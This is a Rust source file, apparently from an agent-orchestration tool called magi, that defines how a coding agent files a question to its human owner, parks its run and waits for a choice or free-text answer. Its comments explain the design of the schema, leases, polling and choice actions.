Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32#[cfg(test)]
33thread_local! {
34    pub(crate) static QUESTION_SCANS: std::cell::Cell<usize> = const { std::cell::Cell::new(0) };
35}
36
37use std::path::{Path, PathBuf};
38use std::time::Duration;
39
40use anyhow::{Context, Result, bail};
41use jiff::Timestamp;
42use serde::{Deserialize, Serialize};
43
44use crate::config;
45use crate::proc::Quiet as _;
46use crate::run::RunStatus;
47
48/// On-disk format for a question. Bumped when a field's meaning changes, or -
49/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
50/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
51/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
52/// new field is added that a much older magi has no notion of at all.
53///
54/// The web UI is written against this shape by hand - there is no shared schema
55/// between the front end and this struct - so a field that changes meaning
56/// without a bump here is a UI that lies silently.
57///
58/// A file is refused only when its own `schema` is *greater* than this one -
59/// see [`read_path`] - never merely different: `#[serde(default)]` on every
60/// field added since 1 is what makes an older file's absence of `thread` mean
61/// "no conversation yet" rather than "unreadable", and a strict equality check
62/// would turn every bump into an upgrade that breaks reading yesterday's
63/// question files.
64/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
65/// Schema 9 preserves individual original triggers inside whole-field replacements.
66/// Schema 10 records the operator decision generation for built-in triage.
67/// Schema 11 binds merge decisions to the displayed PR and head.
68/// Schema 12 adds closed, daemon-applied maintenance choice actions.
69/// Schema 13 records an ended consultation without resolving its question.
70pub const SCHEMA: u32 = 13;
71
72/// How often the wait re-reads the question file.
73///
74/// Three seconds: the answer comes from a human on a phone, so the difference
75/// between three seconds and three hundred milliseconds is invisible to them,
76/// while a tight loop would `stat` and parse a file thousands of times per
77/// minute for a wait that routinely lasts hours. Nothing is held between polls -
78/// no lock, no open handle - because `magi web` and `magi answer` write the
79/// same file from other processes.
80const POLL: Duration = Duration::from_secs(3);
81
82/// How long an agent's reply may go unnoticed before it earns its own
83/// notification.
84///
85/// An operator reading the card when the agent replies does not need paging
86/// again for a conversation they are already in; one who walked away still
87/// needs the tap on the shoulder. Five minutes is a judgement call about that
88/// line, not a policy a repository has an opinion about, which is why it lives
89/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
90/// whether they are still looking at the phone, and neither can this build, so
91/// there is nothing for a per-repository setting to be *right* about.
92const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
93
94/// How long the operator's notification command may run before it is killed.
95///
96/// A webhook that hangs must not hang the run. Twenty seconds is long enough
97/// for a slow HTTP round trip and short enough that the operator still gets the
98/// question filed and the run parked in a bounded time.
99const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
100
101/// The longest a single `magi ask` invocation may block on the owner before
102/// it hands the wait back to whatever is running it, rather than to
103/// [`Question::abandon`].
104///
105/// `answer_timeout` defaults to a day, and that is a deadline for the
106/// *question*, not a budget the calling process is free to spend all at
107/// once: an agent CLI's own shell tool kills a command that runs much longer
108/// than this, and the child it kills is `magi ask` itself - the one thing
109/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
110/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
111/// out, and the seat's own summary said it had backgrounded the blocking
112/// `magi ask` and would "continue once the owner replies" - except nothing
113/// was left to notice the reply. The seat exited `completed`, the
114/// backgrounded child died with it, and the owner's eventual answer on the
115/// web UI had nobody left to read it.
116///
117/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
118/// and returns [`Wait::Pending`] if nothing happened, which is not a
119/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
120/// process the tool timeout has never seen. Four minutes leaves a ten-minute
121/// tool budget room for the CLI's own startup and the notification's round
122/// trip, while staying long enough that an owner who answers within the hour
123/// is not making an agent loop through fifteen slices to hear about it.
124const WAIT_SLICE: Duration = Duration::from_secs(240);
125
126/// How long a lease stays believable after its last beat.
127///
128/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
129/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
130/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
131/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
132/// or about to be, and a lease that is merely between two calls must not be
133/// mistaken for that - the daemon waiter would start a second agent on a
134/// conversation the first is still in.
135pub const LEASE_TTL: Duration = Duration::from_secs(90);
136
137/// How long [`Questions::update`]'s lock may be held before it is presumed
138/// left behind by a writer that died.
139const LOCK_STALE: Duration = Duration::from_secs(10);
140
141/// Environment variable naming the base URL of the web UI, for `{url}`.
142///
143/// A run cannot discover this by itself: `magi web` is a different process,
144/// usually started by hand and often on a different machine on the tailnet, and
145/// the address it settled on (Tailscale IP, port, or the fallback it warned
146/// about) exists only in that process. So the operator names it once, in the
147/// environment `magi serve` runs in - `magi web --open` prints exactly the
148/// string to use on stdout. Unset means `{url}` expands to nothing rather than
149/// to a guess: a notification carrying a link to an address nothing is
150/// listening on is worse than one carrying no link at all.
151pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
152
153/// Largest panel magi will store, html plus assets.
154///
155/// Checked as a total, before a single byte is written, because the failure
156/// this prevents is not a full disk but a half-copied panel: an agent that
157/// points at a 200 MB screen recording must get one clean error, not a
158/// directory holding the three small files that fitted before the copy died.
159/// Eight mebibytes is far more than a diff, a table and a handful of images
160/// need, and small enough that a phone on a hotel link still renders it.
161pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
162
163/// Suffix of the directory holding one question's panel.
164///
165/// A sibling of `<id>.json` rather than a subdirectory of the store, so
166/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
167/// see it, and so a panel travels with the question it belongs to.
168const PANEL_DIR: &str = ".panel";
169
170/// The panel's entry point inside its directory.
171const PANEL_HTML: &str = "index.html";
172
173/// Scratch directory a panel is assembled in before it is swapped into place.
174const PANEL_TMP: &str = ".panel.tmp";
175
176/// The one asset filename rule, applied on write **and** on read.
177///
178/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
179/// containing `..`. The pattern is this narrow because the name arrives from
180/// two untrusted directions and is then joined onto a path: an agent naming
181/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
182/// character that could change what the join means is outside the set - `/`
183/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
184/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
185/// refused, which matters because on Windows `Path::join` with an absolute
186/// path *discards the whole prefix* and would serve any file on the disk.
187/// `..` is refused anywhere rather than only at the front so the rule reads
188/// the same as the sentence "no traversal" to anyone auditing it.
189///
190/// The length bound keeps a name inside every filesystem's limit, so a panel
191/// that stores cannot fail to store on the operator's other machine.
192pub fn valid_asset_name(name: &str) -> bool {
193    if name.is_empty() || name.len() > 64 || name.contains("..") {
194        return false;
195    }
196    let mut chars = name.chars();
197    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
198        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
199}
200
201/// Where a question is in its life.
202#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
203#[serde(rename_all = "lowercase")]
204pub enum QuestionStatus {
205    /// Asked, and waiting for the owner. A run is parked behind it.
206    Open,
207    /// The owner decided. [`Question::answer`] holds what they said.
208    Answered,
209    /// Nobody answered in time, or the question outlived the run that asked.
210    /// Kept rather than deleted: what was asked and never answered is the
211    /// evidence that the operator was the bottleneck.
212    Abandoned,
213}
214
215impl QuestionStatus {
216    /// Is a run still parked behind this question?
217    pub fn open(self) -> bool {
218        matches!(self, Self::Open)
219    }
220
221    /// Lowercase name, as it appears on disk and in the API.
222    pub fn as_str(self) -> &'static str {
223        match self {
224            Self::Open => "open",
225            Self::Answered => "answered",
226            Self::Abandoned => "abandoned",
227        }
228    }
229}
230
231/// What the owner said.
232///
233/// Two shapes rather than one string because the question decides which is
234/// admissible, and [`Question::answer`] enforces it. A phone that posts
235/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
236/// front end, and it is caught here rather than handed to an agent as fact.
237#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
238#[serde(rename_all = "lowercase")]
239pub enum Answer {
240    /// One of the offered choices, verbatim.
241    Choice(String),
242    /// Free text, for a question that offered no choices.
243    Text(String),
244}
245
246/// What the daemon does to the task behind a question when a particular
247/// choice is answered.
248///
249/// A closed set, attached to a choice by the asker (`magi ask --choice X
250/// --action X=resume`) and matched by the choice's exact text. Nothing here
251/// is ever derived from the wording of a label or of a free-text answer: a
252/// question without an action for the chosen label does nothing but answer.
253#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
254#[serde(tag = "do", rename_all = "lowercase")]
255pub enum ChoiceAction {
256    /// Resume this run of the task that owns the question.
257    Resume {
258        /// The run to continue. Must still be the task's latest run.
259        run: String,
260    },
261    /// Authorize exhausted base movement on this exact stop and queue its owner.
262    RecoverBase {
263        /// Full retained execution ID.
264        run: String,
265        /// Immutable stop including the retained HEAD and stop kind.
266        stop: crate::chat_control::BaseRecoveryStop,
267        /// Active synchronization interval observed when offering the choice.
268        episode: usize,
269    },
270    /// Resume a named execution through the shared driver service.
271    ResumeRun {
272        /// Exact run ID; never a prefix resolved at application time.
273        run: String,
274    },
275    /// Release only the exact hold the question was filed about.
276    ReleaseTask {
277        /// Exact queue task ID.
278        task: String,
279        /// Start of the hold observed when filing the question.
280        held_at: jiff::Timestamp,
281        /// Exact hold reason (including its absence) observed when filing.
282        reason: Option<String>,
283    },
284    /// Rerun these failed workflow runs once, on this exact PR head.
285    RerunChecks {
286        /// Repository used for forge access.
287        repo: PathBuf,
288        /// Named pull request URL or number.
289        pr: String,
290        /// Commit whose checks the owner saw.
291        head: String,
292        /// Failed workflow run IDs, bounded to twenty.
293        runs: Vec<String>,
294    },
295    /// End a predecessor only after the shared driver judge proves it dead.
296    AbandonRun {
297        /// Exact predecessor run ID.
298        run: String,
299    },
300    /// Requeue the task as a fresh competition.
301    Requeue,
302    /// Hold the task until the operator releases it.
303    Hold,
304    /// Close the task as done.
305    Done,
306}
307
308impl ChoiceAction {
309    /// Maintenance effects are applied exclusively by the daemon.
310    pub fn maintenance(&self) -> bool {
311        matches!(
312            self,
313            Self::RecoverBase { .. }
314                | Self::ResumeRun { .. }
315                | Self::ReleaseTask { .. }
316                | Self::RerunChecks { .. }
317                | Self::AbandonRun { .. }
318        )
319    }
320
321    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
322    /// `resume[:<run>]`, `requeue`, `hold` or `done`. A `resume` without a run takes
323    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
324    /// action; whether the label is one of the choices is the caller's check.
325    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
326        let split = spec
327            .find("={")
328            .map(|at| (&spec[..at], &spec[at + 1..]))
329            .or_else(|| spec.rsplit_once('='));
330        let Some((label, verb)) = split else {
331            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
332        };
333        let label = label.trim();
334        if label.is_empty() {
335            bail!("`--action {spec}` names no choice before `=`");
336        }
337        let verb = verb.trim();
338        if verb.starts_with('{') {
339            let action = serde_json::from_str(verb).context("parse typed choice action")?;
340            return Ok((label.to_owned(), action));
341        }
342        let action = match verb.split_once(':') {
343            Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
344                run: run.trim().into(),
345            },
346            Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
347                run: run.trim().into(),
348            },
349            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
350                run: run.trim().to_owned(),
351            },
352            None if verb == "resume" => {
353                if default_run.is_empty() {
354                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
355                }
356                Self::Resume {
357                    run: default_run.to_owned(),
358                }
359            }
360            None if verb == "requeue" => Self::Requeue,
361            None if verb == "hold" => Self::Hold,
362            None if verb == "done" => Self::Done,
363            _ => bail!(
364                "unknown action `{verb}` in `--action {spec}`; \
365                 use resume[:<run>], requeue, hold or done"
366            ),
367        };
368        Ok((label.to_owned(), action))
369    }
370
371    /// Stable aliases for internal recovery, independent of display labels.
372    /// Other effects still require their offered labels and existing consent.
373    pub fn matches_alias(&self, input: &str) -> bool {
374        let input = input.trim();
375        match self {
376            Self::Resume { run } => {
377                [
378                    "resume",
379                    "resume run",
380                    "resume-run",
381                    "再開",
382                    "実行再開",
383                    "実行を再開",
384                    "実行を再開する",
385                ]
386                .iter()
387                .any(|alias| input.eq_ignore_ascii_case(alias))
388                    || [
389                        format!("resume {run}"),
390                        format!("resume:{run}"),
391                        format!("resume run {run}"),
392                        format!("resume {}", short(run)),
393                        format!("resume run {}", short(run)),
394                    ]
395                    .iter()
396                    .any(|alias| input.eq_ignore_ascii_case(alias))
397            }
398            Self::Hold => ["hold", "keep-held", "keep held", "保留"]
399                .iter()
400                .any(|alias| input.eq_ignore_ascii_case(alias)),
401            _ => false,
402        }
403    }
404
405    /// Short human wording, for `magi show` and the card.
406    pub fn describe(&self) -> String {
407        match self {
408            Self::Resume { run } => format!("resume run {}", short(run)),
409            Self::RecoverBase { run, .. } => format!(
410                "authorize bounded base recovery and queue run {}",
411                short(run)
412            ),
413            Self::ResumeRun { run } => format!("resume run {}", short(run)),
414            Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
415            Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
416            Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
417            Self::Requeue => "requeue the task".to_owned(),
418            Self::Hold => "hold the task until the operator releases it".to_owned(),
419            Self::Done => "mark the task done".to_owned(),
420        }
421    }
422}
423
424/// Parse every `--action` value against the offered `choices`, refusing a
425/// label the question does not offer (it could never fire).
426pub fn parse_actions(
427    specs: &[String],
428    choices: &[String],
429    default_run: &str,
430) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
431    let mut out = std::collections::BTreeMap::new();
432    for spec in specs {
433        let (label, action) = ChoiceAction::parse(spec, default_run)?;
434        if !choices.contains(&label) {
435            bail!(
436                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
437                choices.join(", ")
438            );
439        }
440        if out.insert(label.clone(), action).is_some() {
441            bail!("more than one --action for `{label}`");
442        }
443    }
444    Ok(out)
445}
446
447/// Who wrote one turn of a question's conversation.
448///
449/// Two values, not three: [`Question::thread`] is the record of a single
450/// question stopping and resuming, and the agent that resumes it is always
451/// the one that asked - a fresh consultant would have to be caught up on
452/// everything the first agent already knows, which is the round trip this
453/// module exists to avoid. The names and the wire spelling deliberately match
454/// [`crate::chat::Who`], which this module does not depend on: the two are the
455/// same idea in two products, and giving them the same shape is what lets the
456/// phone render both with one component.
457#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
458#[serde(rename_all = "lowercase")]
459pub enum Who {
460    /// The person the agent asked.
461    Operator,
462    /// The agent that asked, replying to a question of its own rather than
463    /// answering.
464    Agent,
465}
466
467/// One turn in a question's back-and-forth, after the question itself was
468/// asked.
469///
470/// The question's own `summary`/`detail`/`choices` already carry the agent's
471/// opening move, so a turn only exists from the moment the owner talks back -
472/// [`Question::thread`] starts empty and stays that way for the overwhelming
473/// majority of questions, which are answered on the first read.
474#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
475#[serde(deny_unknown_fields)]
476pub struct Turn {
477    /// Who said it.
478    pub who: Who,
479    /// What they said.
480    pub body: String,
481    /// When they said it.
482    pub at: Timestamp,
483    /// A deputy's own report beside a settle: side effects it caused and
484    /// requests it could not carry out. The deputy's claim, never checked by
485    /// magi, and kept apart from `body` so the verified "Settled as" line and
486    /// this self-report cannot be mistaken for each other.
487    #[serde(default, skip_serializing_if = "Option::is_none")]
488    pub note: Option<String>,
489}
490
491/// Who is keeping watch over an open question.
492#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
493#[serde(rename_all = "lowercase")]
494pub enum WaiterKind {
495    /// The `magi ask` process the agent started.
496    Asker,
497    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
498    /// own session because the asker is gone.
499    Daemon,
500    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
501    /// `magi serve` runs for a question the conductor filed, so that something
502    /// which remembers why it was asked is on the other end.
503    Deputy,
504}
505
506/// The follow-up seat a conductor question hands its wait to.
507///
508/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
509/// reply to its question would reach nobody. A deputy is a seat of its own -
510/// keyed `deputy-<question id>`, never the conductor's shared seat - that
511/// inherits what the conductor knew about this one question ([`Deputy::brief`])
512/// and blocks on it with `magi ask --wait`. Persisted on the question so a
513/// restarted daemon resumes the same CLI conversation instead of assuming it.
514///
515/// Written only through [`Questions::update`]: the owner's say and answer land
516/// on the same file.
517#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
518pub struct Deputy {
519    /// Why the question was asked, what each choice leads to: the conductor's
520    /// context for this one question, handed to the deputy in its prompt.
521    pub brief: String,
522    /// The agent that holds the seat. Empty until the first start.
523    #[serde(default)]
524    pub agent: String,
525    /// The deputy's own conversation. `None` until the first start.
526    #[serde(default)]
527    pub seat: Option<crate::agent::SeatState>,
528    /// How many times a deputy turn was started for this question. Never reset
529    /// by a restart, so a deputy that keeps dying is bounded.
530    #[serde(default)]
531    pub starts: u32,
532}
533
534impl Deputy {
535    /// A deputy that has not started yet, holding `brief`.
536    pub fn new(brief: String) -> Self {
537        Self {
538            brief,
539            agent: String::new(),
540            seat: None,
541            starts: 0,
542        }
543    }
544}
545
546/// Seat name of the deputy for question `id`.
547pub fn deputy_seat_key(id: &str) -> String {
548    format!("deputy-{}", short(id))
549}
550
551/// The record's note of who was last known to be waiting.
552///
553/// A note, not a promise: nothing rewrites the question when a holder dies, so
554/// whether it still holds is read from the [`Lease`] beside it.
555#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
556pub struct Waiter {
557    /// Who took the wait.
558    pub kind: WaiterKind,
559    /// When they took it.
560    pub since: Timestamp,
561}
562
563/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
564///
565/// A sidecar rather than a field of the question because a holder beats every
566/// few seconds, and rewriting the question that often would race the phone's
567/// answer and say with lost updates. It is not `*.json`, so
568/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
569/// different things across platforms, while a beat that stopped is evidence on
570/// every one.
571#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
572pub struct Lease {
573    /// Who beat last.
574    pub kind: WaiterKind,
575    /// Their process id, for a human reading the file.
576    pub pid: u32,
577    /// When they beat last.
578    pub beat_at: Timestamp,
579}
580
581impl Lease {
582    /// Was the last beat recent enough to believe the holder is still there?
583    pub fn fresh(&self, now: Timestamp) -> bool {
584        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
585    }
586}
587
588/// One decision magi will not take on the owner's behalf.
589#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
590#[serde(deny_unknown_fields)]
591pub struct Question {
592    /// On-disk format version.
593    pub schema: u32,
594    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
595    /// task's, so the operator can paste any of them at any prefix argument.
596    pub id: String,
597    /// Run that is parked behind this question.
598    pub run: String,
599    /// Graph node the asking agent was working in, e.g. `implement`.
600    pub node: String,
601    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
602    /// this" decides whether the answer unblocks one candidate or all of them.
603    pub seat: String,
604    /// One line: the question itself. This is what a notification carries and
605    /// what the phone shows above the answer controls.
606    pub summary: String,
607    /// The reasoning behind the question, as markdown. May be long, may be
608    /// empty. Rendered as text nodes by the UI, never as markup.
609    pub detail: String,
610    /// Display-only comparison; never used to decide or construct a post.
611    #[serde(default, skip_serializing_if = "Option::is_none")]
612    pub posting_comparison: Option<crate::github_text::PostingComparison>,
613    /// The admissible answers. **Empty means free text** - that one condition
614    /// is the whole difference between the two kinds of question, on disk, in
615    /// the UI, and in [`Question::answer`]'s validation.
616    pub choices: Vec<String>,
617    /// Exact PR and head displayed to the owner. Absent on legacy questions.
618    #[serde(default)]
619    pub merge_target: Option<crate::merge_decision::Target>,
620    /// Task decision outbox; retained until task-chat delivery is durable.
621    #[serde(default)]
622    pub routed_task: Option<String>,
623    /// `ask_cmd` chose the legacy foreground path because no task owned it.
624    /// Persist this provenance: a nonempty run alone is not task ownership.
625    #[serde(default, skip_serializing_if = "std::ops::Not::not")]
626    pub legacy_foreground: bool,
627    /// Set after delivery; merge consent remains in this record.
628    #[serde(default)]
629    pub routed_chat: Option<String>,
630    /// Literal replacement title supplied with a routed publication decision.
631    /// This is publication data, not owner-consent evidence.
632    #[serde(default, skip_serializing_if = "Option::is_none")]
633    pub publication_title: Option<String>,
634    /// What the daemon does when a given choice is answered, keyed by the
635    /// choice's exact text. Empty for an ordinary question. A key is always
636    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
637    #[serde(default)]
638    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
639    /// Does this question have an agent-authored HTML panel beside it?
640    ///
641    /// Serialised with a default so a question written by an older magi - or
642    /// by hand - still deserialises rather than failing the whole store, which
643    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
644    /// open question the operator was looking for.
645    #[serde(default)]
646    pub panel: bool,
647    /// Files copied in beside the panel's html, by base name, sorted.
648    ///
649    /// The list exists so a reader knows what a panel is made of without
650    /// walking the directory, and every entry satisfies [`valid_asset_name`].
651    /// Sorted because it is compared - a question re-asked with the same
652    /// assets in a different argument order is not a different question.
653    #[serde(default)]
654    pub assets: Vec<String>,
655    /// Current state.
656    pub status: QuestionStatus,
657    /// When the agent asked.
658    pub asked_at: Timestamp,
659    /// Operator decision generation when a built-in triage question was filed.
660    #[serde(default)]
661    pub triage_generation: Option<u64>,
662    /// When the owner answered, if they did.
663    pub answered_at: Option<Timestamp>,
664    /// Exact response generation recorded by a live answer update. Absent on
665    /// imported history; survives an answer made before task ownership exists.
666    #[serde(default, skip_serializing_if = "Option::is_none")]
667    pub accepted_answer_at: Option<Timestamp>,
668    /// What they said.
669    pub answer: Option<Answer>,
670    /// Everything said after the question itself, oldest first: the owner
671    /// asking back, the agent replying, as many times as it takes before an
672    /// [`Answer`] lands.
673    ///
674    /// `#[serde(default)]` so a question written before this field existed -
675    /// every question on disk before this build - still deserialises as one
676    /// with no conversation yet, rather than failing [`Questions::list`]'s
677    /// read and quietly hiding an open question from the operator.
678    #[serde(default)]
679    pub thread: Vec<Turn>,
680    /// The `answer_timeout`, in seconds, that was in force when this question
681    /// was first asked. `0` means unrecorded - a question written before this
682    /// field existed, or one filed by a flow (land's merge-approval gate)
683    /// that never sets it because it never resumes a sliced wait.
684    ///
685    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
686    /// or the config default) is decided by the caller, after the question
687    /// already exists - so it starts at `0` here and whoever files a fresh
688    /// question sets it once, the same way [`Question::panel`] is set by
689    /// [`Questions::put_panel`] rather than by the constructor. It is never
690    /// touched again: `magi ask --wait` reads it as the one deadline it is
691    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
692    /// on a later call can never quietly extend or shrink the budget the
693    /// question was actually asked with.
694    #[serde(default)]
695    pub answer_timeout: u64,
696    /// The directory the asking agent was working in when it asked, so the
697    /// daemon waiter can resume that agent's session from where it stood.
698    /// `None` for a question no `magi ask` filed (land's approval gate, a
699    /// release notice, one written before this field existed): those have no
700    /// agent to hand anything back to, and the waiter leaves them alone.
701    #[serde(default)]
702    pub cwd: Option<String>,
703    /// Who was last known to be waiting - see [`Waiter`].
704    #[serde(default)]
705    pub waiter: Option<Waiter>,
706    /// How many entries of [`Question::thread`] the agent has been shown, by
707    /// the asking process printing them or by the waiter resuming the seat.
708    /// The owner's turn at an index at or past this has reached nobody yet.
709    #[serde(default)]
710    pub delivered_turns: usize,
711    /// Has the agent been told the [`Answer`]? The asker prints it as it
712    /// returns; the waiter delivers it when the asker was gone.
713    #[serde(default)]
714    pub answer_delivered: bool,
715    /// The follow-up seat waiting on this question, for a question the
716    /// conductor filed. `None` for every other question.
717    #[serde(default)]
718    pub deputy: Option<Deputy>,
719    /// Set once the owner handed this question to the chat it came from
720    /// ([`crate::consult::begin`]). The question stays open; this only records
721    /// that the chat was asked, so a second tap does not post it twice.
722    #[serde(default)]
723    pub consult: Option<ChatConsult>,
724    /// Owner evidence a chat answer persisted before owner requests went
725    /// through without consent checks. Kept (reduced to the fields below) so
726    /// an old record keeps loading (`deny_unknown_fields`) and an old pending
727    /// `use my text` answer keeps its title through a re-save
728    /// ([`crate::github_text::read_reply`]); nothing assigns it any more.
729    #[serde(default, skip_serializing_if = "Option::is_none")]
730    pub answer_authority: Option<LegacyAnswerAuthority>,
731    /// Owner decision outside the choices; ends consultation without answering.
732    #[serde(default, skip_serializing_if = "Option::is_none")]
733    pub consult_outcome: Option<crate::consult::ConsultOutcome>,
734    /// Independent task facts behind a conductor question. Answered questions
735    /// with unchanged facts must not be regenerated just to ask again.
736    #[serde(default)]
737    pub decision_context: Option<String>,
738}
739
740/// A question the owner passed to the chat conversation its task came from.
741#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
742pub struct ChatConsult {
743    /// The conversation the question was posted into.
744    pub talk: String,
745    /// When it was posted.
746    pub at: Timestamp,
747}
748
749/// The part of an old record's `answer_authority` that is still read: the
750/// owner instruction an old pending `use my text` answer took its title from.
751/// Every other key of the old evidence is ignored on load.
752#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
753pub struct LegacyAnswerAuthority {
754    /// Question the old evidence was bound to.
755    pub question: String,
756    /// Choice the old evidence was bound to.
757    pub choice: String,
758    /// The owner's full instruction.
759    pub instruction: String,
760}
761
762impl Question {
763    /// Does `run` hold a task id rather than a run id? True for the
764    /// conductor's and the triage questions, which are filed about a task.
765    pub fn run_names_task(&self) -> bool {
766        matches!(
767            self.node.as_str(),
768            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
769        )
770    }
771
772    /// Ask something. Persist it with [`Questions::put`], or hand it to
773    /// [`ask_and_wait`], which files it and waits.
774    pub fn new(
775        run: String,
776        node: String,
777        seat: String,
778        summary: String,
779        detail: String,
780        choices: Vec<String>,
781    ) -> Self {
782        Self {
783            schema: SCHEMA,
784            id: new_id(),
785            run,
786            node,
787            seat,
788            summary,
789            detail,
790            posting_comparison: None,
791            choices,
792            merge_target: None,
793            routed_task: None,
794            legacy_foreground: false,
795            routed_chat: None,
796            publication_title: None,
797            actions: std::collections::BTreeMap::new(),
798            panel: false,
799            assets: Vec::new(),
800            status: QuestionStatus::Open,
801            asked_at: Timestamp::now(),
802            triage_generation: None,
803            answered_at: None,
804            accepted_answer_at: None,
805            answer: None,
806            thread: Vec::new(),
807            answer_timeout: 0,
808            cwd: None,
809            waiter: None,
810            delivered_turns: 0,
811            answer_delivered: false,
812            deputy: None,
813            consult: None,
814            answer_authority: None,
815            consult_outcome: None,
816            decision_context: None,
817        }
818    }
819
820    /// Short form used in reports and on the phone, matching a run's short id.
821    pub fn short(&self) -> &str {
822        short(&self.id)
823    }
824
825    /// The action attached to the choice that was answered, if the question
826    /// is answered with a choice that carries one. Free text never matches.
827    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
828        match (&self.status, &self.answer) {
829            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
830            _ => None,
831        }
832    }
833
834    /// Does this question want free text rather than one of a set?
835    pub fn free_text(&self) -> bool {
836        self.choices.is_empty()
837    }
838
839    /// Exact reply values, kept separate from human action descriptions.
840    /// Resolve each advertised alias through the real parser, including ambiguity.
841    pub fn reply_guidance(&self) -> String {
842        self.choices
843            .iter()
844            .map(|label| {
845                let aliases: Vec<_> = ["resume-run", "keep-held"]
846                    .into_iter()
847                    .filter(|alias| self.resolve_reply(alias).ok() == Some(label.as_str()))
848                    .collect();
849                let exact = serde_json::to_string(label).expect("serialize label");
850                let reply = if aliases.is_empty() {
851                    format!("exact label: {exact}")
852                } else {
853                    format!(
854                        "exact label: {exact}; accepted aliases: {}",
855                        aliases.join(", ")
856                    )
857                };
858                match self.actions.get(label) {
859                    Some(action) => {
860                        format!("{reply}; effect (not reply text): {}", action.describe())
861                    }
862                    None => reply,
863                }
864            })
865            .collect::<Vec<_>>()
866            .join("\n")
867    }
868
869    /// Resolve terminal aliases to the exact stored label before authorization.
870    /// Aliases describe structured effects, never translated display text.
